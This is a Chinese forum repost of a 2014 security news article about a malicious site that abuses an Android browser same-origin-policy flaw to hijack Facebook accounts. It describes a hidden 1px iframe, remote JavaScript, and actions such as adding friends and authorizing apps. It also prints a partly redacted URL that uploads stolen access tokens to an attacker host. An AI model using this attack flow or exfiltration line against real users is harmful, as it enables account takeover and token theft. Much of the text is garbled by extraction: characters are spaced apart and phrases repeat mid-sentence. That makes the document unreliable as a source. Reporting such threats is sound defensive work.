搜索

[8538] 2014-12-29_窃取Facebook用户信息：利用Android同源策略漏洞的恶意应用被发现

文档创建者：s7ckTeam
浏览次数：27
最后更新：2025-01-17
2014-12-29_窃取Facebook用户信息：利用Android同源策略漏洞的恶意应用被发现 窃 取 F a c e b o o k 用 户 信 息 ： 利 用 A n d r o i d 同 源 策 略 漏 洞 的 恶 意 应 用 被 发 现 F r e e B u f   2 0 1 4 - 1 2 - 2 9 几 个 月 前 我 们 曾 研 究 过 几 个 月 前 我 们 曾 研 究 过 A n d r o i d 同 源 策 略 （ 同 源 策 略 （ S O P ） 的 漏 洞 ， 然 而 最 近 出 现 了 一 款 利 用 此 漏 洞 对 ） 的 漏 洞 ， 然 而 最 近 出 现 了 一 款 利 用 此 漏 洞 对 F a c e b o o k 用 户 进 行 攻 击 的 恶 意 应 用 ， 其 利 用 代 码 基 于 已 公 开 的 用 户 进 行 攻 击 的 恶 意 应 用 ， 其 利 用 代 码 基 于 已 公 开 的 M e t a s p l o i t 测 试 代 码 。 测 试 代 码 。 F r e e B u f 科 普 ： 同 源 策 略 绕 过 漏 洞 科 普 ： 同 源 策 略 绕 过 漏 洞 同 源 策 略 ( S O P ) 是 指 客 户 端 脚 本 （ 尤 其 是 J a v a s c r i p t ） 的 重 要 的 安 全 度 量 标 准 ， 是 浏 览 器 安 全 核 心 基 础 。 它 最 早 出 自 N e s c a p e   N a v i g a t o r 2 . 0 ， 其 目 的 是 防 止 某 个 文 档 或 脚 本 从 多 个 不 同 源 装 载 。 这 里 的 同 源 指 的 是 同 域 名 、 同 协 议 和 同 端 口 。 而 同 源 策 略 绕 过 发 生 在 而 同 源 策 略 绕 过 发 生 在 A 网 站 网 站 ( 以 以 s i t e a . c o m 为 例 为 例 ) 以 某 种 方 式 访 问 以 某 种 方 式 访 问 B 网 站 网 站 ( 以 以 s i t e b . c o m 为 例 为 例 ) 的 属 性 如 的 属 性 如 c o o k i e 、 位 置 、 响 应 等 的 时 候 。 由 于 这 个 问 题 的 特 殊 性 和 可 能 潜 在 影 响 ， 浏 览 器 对 此 都 有 非 常 、 位 置 、 响 应 等 的 时 候 。 由 于 这 个 问 题 的 特 殊 性 和 可 能 潜 在 影 响 ， 浏 览 器 对 此 都 有 非 常 严 格 的 管 理 模 式 ， 在 现 在 的 浏 览 器 中 很 少 能 发 现 同 源 策 略 严 格 的 管 理 模 式 ， 在 现 在 的 浏 览 器 中 很 少 能 发 现 同 源 策 略 ( S O P ) 绕 过 。 绕 过 。 相 关 阅 读 ： 相 关 阅 读 ： A n d r o i d （ （ 4 . 4 版 本 以 下 ） 浏 览 器 同 源 策 略 绕 过 漏 洞 版 本 以 下 ） 浏 览 器 同 源 策 略 绕 过 漏 洞 攻 击 过 程 攻 击 过 程 攻 击 是 通 过 向 某 个 特 定 F a c e b o o k 网 页 引 用 恶 意 网 站 的 链 接 来 实 现 的 。 此 网 页 包 含 恶 意 的 J a v a s c r i p t 代 码 ： 它 会 试 图 在 内 嵌 框 架 里 加 载 一 个 F a c e b o o k 网 址 ： 由 于 该 页 面 的 由 于 该 页 面 的 h t m l 内 容 被 内 容 被 d i v 的 的 c s s 设 置 为 不 会 显 示 任 何 内 容 （ 设 置 为 不 会 显 示 任 何 内 容 （ d i s p l a y : n o n e ） ， 用 户 只 会 看 到 一 片 空 白 ： ） ， 用 户 只 会 看 到 一 片 空 白 ： 并 且 该 内 嵌 框 架 还 只 有 1 像 素 （ 1 p x ） 的 大 小 ： 基 于 以 上 这 些 条 件 ， 同 源 策 略 被 绕 过 。 通 过 构 造 语 句 ， 攻 击 者 从 一 个 能 外 链 的 云 存 储 空 间 加 载 了 一 个 远 程 基 于 以 上 这 些 条 件 ， 同 源 策 略 被 绕 过 。 通 过 构 造 语 句 ， 攻 击 者 从 一 个 能 外 链 的 云 存 储 空 间 加 载 了 一 个 远 程 J S 代 码 文 件 ， 该 文 件 包 含 了 本 次 攻 击 所 需 要 的 恶 意 代 码 。 代 码 文 件 ， 该 文 件 包 含 了 本 次 攻 击 所 需 要 的 恶 意 代 码 。 该 J S 代 码 可 以 让 黑 客 在 F a c e b o o k 上 实 现 以 下 行 动 ： 1 . 添 加 F a c e b o o k 好 友 2 . 关 注 F a c e b o o k 文 章 3 . 修 改 订 阅 项 4 . 授 权 F a c e b o o k 应 用 访 问 用 户 的 私 密 信 息 （ 类 似 于 与 q q 号 关 联 ） 5 . 窃 取 用 户 的 t o k e n 并 后 台 上 传 ： h t t p : / / { B L O C K E D } m a r t f o r c h r i s t m a s . w e b s i t e / w a l m a r t / j / i n d e x . p h p ? c i d = 5 4 4 f b a 6 a c 6 9 8 8 & a c c e s s _ t o k e n =   $ t o k e n ; 6 . 收 集 分 析 数 据 （ 如 受 害 者 的 位 置 ， H T T P   r e f e r e r 等 等 ） ， 在 h t t p s : / / w h o s . { B L O C K E D } u n g . u s / p i n g j s / 上 使 用 合 法 的 服 务 除 了 网 站 中 上 述 的 代 码 外 ， 我 们 在 h t t p : / / w w w . { B L O C K E D } p h p . c o m / x / t o p l u . p h p 里 发 现 了 相 似 的 攻 击 痕 迹 。 可 以 肯 定 的 是 ， 这 些 都 是 出 自 同 一 攻 击 者 的 手 笔 ， 因 为 他 们 有 着 同 样 的 函 数 名 ， 以 及 相 同 的 F a c e b o o k 应 用 c l i e n t _ i d 。 官 方 授 权 未 必 安 全 官 方 授 权 未 必 安 全 该 恶 意 软 件 的 c l i e n t _ i d 为 2 2 5 4 4 8 7 6 5 9 ， 这 是 一 个 由 黑 莓 官 方 授 权 过 的 应 用 。 我 们 与 黑 莓 官 方 确 认 过 ， 这 款 应 用 打 着 黑 莓 的 认 证 牌 子 试 图 窃 取 F a c e b o o k 用 户 的 认 证 t o k e n 。 有 了 这 个 t o k e n 可 以 让 黑 客 从 F a c e b o o k 的 A P I 读 取 个 人 敏 感 信 息 ， 以 及 发 布 文 章 讯 息 等 。 黑 莓 官 方 由 此 发 布 了 以 下 声 明 ： 黑 莓 官 方 由 此 发 布 了 以 下 声 明 ： “ 这 款 恶 意 软 件 的 攻 击 对 象 为 F a c e b o o k 用 户 ， 其 使 用 了 A n d r o i d 同 源 策 略 绕 过 漏 洞 ， 且 无 视 移 动 设 备 平 台 类 型 。 其 试 图 利 用 黑 莓 官 方 的 认 证 的 便 利 对 F a c e b o o k   W E B 应 用 进 行 攻 击 。 此 次 事 件 并 不 是 黑 莓 硬 件 、 软 件 产 生 了 漏 洞 ， 与 黑 莓 的 网 络 通 信 也 没 有 什 么 关 系 。 ” G o o g l e 目 前 已 经 修 复 了 这 个 目 前 已 经 修 复 了 这 个 A n d r o i d 同 源 策 略 漏 洞 。 然 而 不 是 所 有 的 用 户 都 会 去 升 级 浏 览 器 或 安 卓 系 统 版 本 。 因 此 除 非 设 备 的 供 应 商 能 发 布 相 应 补 丁 ， 不 然 用 户 仍 会 处 于 威 胁 之 中 。 同 源 策 略 漏 洞 。 然 而 不 是 所 有 的 用 户 都 会 去 升 级 浏 览 器 或 安 卓 系 统 版 本 。 因 此 除 非 设 备 的 供 应 商 能 发 布 相 应 补 丁 ， 不 然 用 户 仍 会 处 于 威 胁 之 中 。 [ 参 考 来 源 参 考 来 源 趋 势 科 技 趋 势 科 技 , 由 由 F r e e B u f 小 编 小 编 d a w n e r 翻 译 整 理 ， 转 载 请 注 明 来 自 翻 译 整 理 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ 黑 客 与 极 客 （ F r e e B u f . C O M ） ） ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理